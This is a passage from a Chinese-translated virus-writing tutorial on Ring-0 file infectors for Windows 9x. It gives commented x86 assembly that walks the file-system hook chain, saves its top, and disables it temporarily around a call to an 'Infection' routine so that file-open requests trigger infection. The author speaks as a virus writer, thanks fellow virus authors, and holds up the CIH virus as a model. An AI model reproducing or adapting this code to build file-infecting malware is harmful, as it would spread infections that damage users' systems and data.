        add     esi,08h                         ; ESI = 3rd dword in struc:
                                                ;       previous Hook_Info

        js      tunnel                          ; If ESI < 7FFFFFFF, it was
                                                ; the last one :)
                                                ; EAX = Hook_Info of the top
                                                ; chain

        mov     dword ptr [edi+ptr_top_chain],eax ; Save in its var in mem
        pop     eax                             ; EAX = Last hook handler
        [...]

    如果你不懂,不要擔心,這是第一次:想象一下我讀懂Sexy的程式碼所花的時間!好了,我們已經把鏈頂存在一個變數裡了。接下來的的程式碼片斷是我們檢查一個系統開啟檔案的請求,而且我們知道這個呼叫不是由我們的病毒所做的,只是在呼叫感染程式之前。

        lea     esi,dword ptr [ebx+top_chain]   ; ESI = Ptr to stored variable
        lodsd                                   ; EAX = Top Chain
        xor     edx,edx                         ; EDX = 0
        xchg    [eax],edx                       ; Top Chain = NULL
                                                ; EDX = Address of Top Chain
        pushad
        call    Infection
        popad

        mov     [eax],edx                       ; Restore Top Chain

    這個簡單多了,啊?:)所有的概念("Hook_Info", "Top Chain", 等等)都是來自於Super,所以去懲罰一下他:)

%最後的話%
~~~~~~~~~~
    我必須感謝3個在我編寫第一個Ring-0的東東幫助過我的最重要的人:Super,Vecna和nIgr0(你們是好樣的!)。好了,還有其它事情要說嗎?呃...耶。Ring-0是我們在Win9X下的美夢,是的。但是總是有限制。如果我們,毒客們,找到了一個在系統中如NT或者將來的Win2000(NT5)下獲取Ring-0特權的時候,就沒關係了。Micro$oft將會做一個補丁或者一個Service  Pack來修復所有這些可能的bug。無論如何,編寫一個Ring-0病毒總是很有趣。對我來說經歷確實有意思,並且幫助我知道了更多關於Windows內部結構的東西。系統幾乎是胡亂的開啟檔案。只要看看其中的一個最多,最快的,傳播最廣的病毒是一個Ring-0病毒,CIH。

相關文章